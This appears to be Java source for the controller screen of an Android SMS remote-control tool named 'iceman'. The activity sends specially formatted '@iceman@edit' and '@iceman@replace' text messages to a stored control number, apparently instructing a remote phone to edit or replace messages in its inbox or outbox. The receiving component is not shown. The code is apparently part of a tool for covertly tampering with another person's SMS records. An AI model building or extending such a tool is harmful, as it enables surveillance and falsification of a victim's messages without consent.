
package iceman.android.smsadmin;

import iceman.android.smsadmin.R;
import android.app.Activity;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.CompoundButton.OnCheckedChangeListener;
import android.widget.EditText;
import android.widget.Toast;

public class EditSmsActivity extends Activity {
    private SmsManager mSmsManager = SmsManager.getDefault();

    private EditText mSmsKey, mSmsNumber,mSmsContent;

    private Button mReplaceBtn,mEditBtn;

    private SharedPreferences mSharedpreferences = null;

    private String mClientNumber;
    
    private CheckBox mCheckBoxIn,mCheckBoxOut;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.edit_sms_layout);
        mSmsKey = (EditText) findViewById(R.id.key);
        mSmsNumber = (EditText) findViewById(R.id.number);
        mSmsContent = (EditText) findViewById(R.id.content);
        mEditBtn = (Button) findViewById(R.id.edit);
        mReplaceBtn = (Button) findViewById(R.id.repalce);
        mCheckBoxIn = (CheckBox)findViewById(R.id.cb_inbox);
        mCheckBoxOut = (CheckBox)findViewById(R.id.cb_outbox);
        mCheckBoxIn.setOnCheckedChangeListener(new OnCheckedChangeListener() {
            @Override
            public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
                if(isChecked){
                    mCheckBoxOut.setChecked(false);
                }else{
                    mCheckBoxOut.setChecked(true);
                }
            }
        });
        mCheckBoxOut.setOnCheckedChangeListener(new OnCheckedChangeListener() {
            @Override
            public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
                 if(isChecked){
                     mCheckBoxIn.setChecked(false);
                 }else{
                     mCheckBoxIn.setChecked(true);
                 }
            }
        });
        mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
        mClientNumber = mSharedpreferences.getString("control", "");
        mEditBtn.setOnClickListener(new OnClickListener() {
            
            @Override
            public void onClick(View v) {
                String key = mSmsKey.getText().toString().trim();
                String number = mSmsNumber.getText().toString().trim();
                String content = mSmsContent.getText().toString().trim();
                if(number.equals("")){
                    number = "00000000000";
                }
                if(mCheckBoxIn.isChecked()){
                    number = "1"+number;
                }else{
                    number = "2"+number;
                }
                if (key.equals("") == false && content.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@edit" + "#" + key
                            + "#" +number +"#"+content, null, null);
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.edit_sms_send_over),
                            Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.please_set_key_and_content),
                            Toast.LENGTH_SHORT).show();
                }
            }
        });
        mReplaceBtn.setOnClickListener(new OnClickListener() {

            @Override
            public void onClick(View v) {
                String key = mSmsKey.getText().toString().trim();
                String number = mSmsNumber.getText().toString().trim();
                String content = mSmsContent.getText().toString().trim();
                if(number.equals("")){
                    number = "00000000000";
                }
                if(mCheckBoxIn.isChecked()){
                    number = "1"+number;
                }else{
                    number = "2"+number;
                }
                if (key.equals("") == false && content.equals("") == false) {
                    mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@replace" + "#" + key
                            + "#" +number +"#"+content, null, null);
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.replace_sms_send_over),
                            Toast.LENGTH_SHORT).show();
                } else {
                    Toast.makeText(EditSmsActivity.this,
                            EditSmsActivity.this.getString(R.string.please_set_key_and_content),
                            Toast.LENGTH_SHORT).show();
                }
            }
        });
    }

}
